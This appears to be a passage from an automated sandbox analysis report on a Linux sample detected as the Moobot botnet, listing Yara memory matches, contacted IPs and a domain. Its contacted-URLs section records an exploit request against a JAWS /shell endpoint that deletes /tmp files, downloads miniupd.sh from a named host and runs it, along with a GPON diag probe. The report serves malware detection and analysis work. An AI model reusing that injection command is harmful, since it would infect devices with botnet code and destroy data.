Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6373, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6383, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6397, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6399, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6405, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6409, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6411, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6415, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6457, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6459, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6465, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6469, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6477, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6479, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6485, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6487, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6491, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6519, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6525, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6531, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6545, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6547, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6553, type: MEMORYSTR
Yara detected Moobot
Source: Yara match File source: naZZ0BK2hf.elf, type: SAMPLE
Source: Yara match File source: 6274.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6545.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6305.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6399.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6276.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6328.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6286.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6465.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6260.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6357.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6477.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6459.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6293.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6373.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6314.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6227.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6457.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6415.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6397.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6531.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6553.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6336.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6469.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6383.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6330.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6479.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6316.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6491.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6487.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6360.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6294.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6519.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6405.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6369.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6409.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6411.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6525.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6547.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6332.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6485.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6227, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6260, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6274, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6276, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6286, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6293, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6294, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6305, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6314, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6316, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6328, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6330, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6332, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6336, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6357, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6360, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6369, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6373, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6383, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6397, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6399, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6405, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6409, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6411, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6415, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6457, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6459, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6465, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6469, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6477, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6479, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6485, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6487, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6531, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6545, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6553, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
92.215.252.193
 unknown Germany
3209 VODANETInternationalIP-BackboneofVodafoneDE false
166.145.186.112
 unknown United States
22394 CELLCOUS false
197.73.179.135
 unknown South Africa
16637 MTNNS-ASZA false
197.190.103.228
 unknown Ghana
37140 zain-asGH false
41.226.180.5
 unknown Tunisia
37705 TOPNETTN false
197.109.134.84
 unknown South Africa
37168 CELL-CZA false
48.217.6.109
 unknown United States
2686 ATGS-MMD-ASUS false
187.145.90.107
 unknown Mexico
8151 UninetSAdeCVMX false
189.0.210.110
 unknown Brazil
27699 TELEFONICABRASILSABR false
159.125.210.122
 unknown United States
16983 AS16983US false
167.191.89.12
 unknown United States
18880 LAMRCUS false
67.150.235.73
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
197.17.114.194
 unknown Tunisia
37693 TUNISIANATN false
146.42.135.91
 unknown United States
197938 TRAVIANGAMESDE false
88.154.50.230
 unknown Ukraine
34058 LIFECELL-ASUA false
182.61.224.145
 unknown China
38365 BAIDUBeijingBaiduNetcomScienceandTechnologyCoLtd false
197.70.186.111
 unknown South Africa
16637 MTNNS-ASZA false
181.113.101.191
 unknown Ecuador
28006 CORPORACIONNACIONALDETELECOMUNICACIONES-CNTEPEC false
157.112.148.22
 unknown Japan 9371 SAKURA-CSAKURAInternetIncJP false
41.169.25.62
 unknown South Africa
36937 Neotel-ASZA false
51.142.50.153
 unknown United Kingdom
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
197.132.217.138
 unknown Egypt
24835 RAYA-ASEG false
41.43.14.4
 unknown Egypt
8452 TE-ASTE-ASEG false
80.126.137.83
 unknown Netherlands
3265 XS4ALL-NLAmsterdamNL false
157.244.13.183
 unknown Canada
32934 FACEBOOKUS false
153.76.169.83
 unknown United States
14962 NCR-252US false
168.81.166.141
 unknown Seychelles
19969 JOESDATACENTERUS false
143.177.38.53
 unknown Netherlands
13127 VERSATELASfortheTrans-EuropeanTele2IPTransportbackbo false
197.214.107.229
 unknown Nigeria
198504 LU1AE false
196.196.174.217
 unknown Seychelles
57858 AS57858EU false
76.28.84.15
 unknown United States
7922 COMCAST-7922US false
41.122.162.154
 unknown South Africa
16637 MTNNS-ASZA false
41.117.228.140
 unknown South Africa
16637 MTNNS-ASZA false
41.240.121.79
 unknown Sudan
36998 SDN-MOBITELSD false
132.171.126.87
 unknown Finland
1234 FORTUM-ASFortumEU false
41.215.35.76
 unknown Kenya
15808 ACCESSKENYA-KEACCESSKENYAGROUPLTDisanISPservingKE false
41.137.15.188
 unknown Morocco
36884 MAROCCONNECTMA false
73.43.185.152
 unknown United States
7922 COMCAST-7922US false
157.249.142.143
 unknown Norway
224 UNINETTUNINETTTheNorwegianUniversityResearchNetwork false
157.102.254.147
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
199.165.77.158
 unknown United States
7774 ALASKAUS false
41.60.37.80
 unknown Mauritius
30969 ZOL-ASGB false
41.186.122.35
 unknown Rwanda
36890 MTNRW-ASNRW false
41.214.134.114
 unknown Morocco
36925 ASMediMA false
153.33.72.251
 unknown United States
23473 PAVLOVMEDIAUS false
197.190.60.125
 unknown Ghana
37140 zain-asGH false
48.222.141.126
 unknown United States
2686 ATGS-MMD-ASUS false
54.104.26.172
 unknown United States
16509 AMAZON-02US false
19.105.218.153
 unknown United States
3 MIT-GATEWAYSUS false
207.55.157.80
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
105.206.121.136
 unknown Egypt
36992 ETISALAT-MISREG false
41.213.192.124
 unknown Reunion
37002 ReunicableRE false
157.215.215.68
 unknown United States
4704 SANNETRakutenMobileIncJP false
157.49.96.59
 unknown India
55836 RELIANCEJIO-INRelianceJioInfocommLimitedIN false
41.240.169.12
 unknown Sudan
36998 SDN-MOBITELSD false
157.184.0.147
 unknown United States
22192 SSHENETUS false
197.152.252.83
 unknown Tanzania United Republic of
37133 airtel-tz-asTZ false
185.70.22.11
 unknown Germany
51531 DECIX-MGMT-ASDE-CIXManagementGmbHDE false
41.137.15.155
 unknown Morocco
36884 MAROCCONNECTMA false
157.105.38.159
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
175.44.166.81
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
157.249.189.178
 unknown Norway
224 UNINETTUNINETTTheNorwegianUniversityResearchNetwork false
157.186.91.131
 unknown Russian Federation
22192 SSHENETUS false
112.205.14.241
 unknown Philippines
9299 IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH false
140.61.120.131
 unknown United States
668 DNIC-AS-00668US false
121.147.255.10
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
197.129.195.147
 unknown Morocco
6713 IAM-ASMA false
44.49.67.235
 unknown United States
7377 UCSDUS false
124.39.195.214
 unknown Japan 17506 UCOMARTERIANetworksCorporationJP false
41.152.180.75
 unknown Egypt
36992 ETISALAT-MISREG false
156.18.88.96
 unknown France
1945 FR-LYRESLyonRechercheetEnseignementSuperieurLyRESE false
157.157.170.190
 unknown Iceland
6677 ICENET-AS1IS false
86.75.172.132
 unknown France
15557 LDCOMNETFR false
185.37.82.255
 unknown Italy
57795 NGNETWORKSNL false
41.35.35.153
 unknown Egypt
8452 TE-ASTE-ASEG false
157.106.185.128
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
90.162.2.0
 unknown Spain
12479 UNI2-ASES false
157.145.19.97
 unknown United States
719 ELISA-ASHelsinkiFinlandEU false
157.125.160.248
 unknown Sweden
31655 ASN-GAMMATELECOMGB false
44.160.206.65
 unknown United States
7377 UCSDUS false
41.42.142.173
 unknown Egypt
8452 TE-ASTE-ASEG false
197.219.214.81
 unknown Mozambique
37342 MOVITELMZ false
73.55.223.137
 unknown United States
7922 COMCAST-7922US false
197.2.168.181
 unknown Tunisia
37705 TOPNETTN false
82.196.70.81
 unknown Russian Federation
20632 PETERSTAR-ASSaint-PetersburgRU false
113.119.248.152
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
88.81.208.162
 unknown Russian Federation
28947 INTURAL-ASZAOInTRU false
158.66.199.189
 unknown Poland
21111 CISGCentrumInformacjiSpoleczno-GospodarczejPL false
149.212.83.53
 unknown Denmark
8386 KOCNETTR false
163.186.192.183
 unknown United States
72 SCHLUMBERGER-ASUS false
197.225.3.144
 unknown Mauritius
23889 MauritiusTelecomMU false
197.96.124.53
 unknown South Africa
3741 ISZA false
161.249.2.166
 unknown United States
396269 BPL-ASNUS false
176.67.118.130
 unknown Palestinian Territory Occupied
51407 MADA-ASPS false
197.179.230.76
 unknown Kenya
33771 SAFARICOM-LIMITEDKE false
157.74.76.54
 unknown Japan 131932 JEIS-NETJREastInformationSystemsCompanyJP false
52.83.112.185
 unknown China
135629 WESTCLOUDDATANingxiaWestCloudDataTechnologyCoLtdCN false
12.70.84.11
 unknown United States
7018 ATT-INTERNET4US false
197.252.128.145
 unknown Sudan
15706 SudatelSD false
32.31.52.92
 unknown United States
2686 ATGS-MMD-ASUS false

Contacted Domains

Name IP Active
www.toliatypiza.ru 89.208.107.26 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://127.0.0.1:80/GponForm/diag_Form?images/ true
  • Avira URL Cloud: safe
 unknown
http://41.191.81.96:80/shell?rm+-rf+/tmp/*;wget+http://89.208.107.26/miniupd.sh+-O+/tmp/jaws;sh+jaws true
  • Avira URL Cloud: safe
 unknown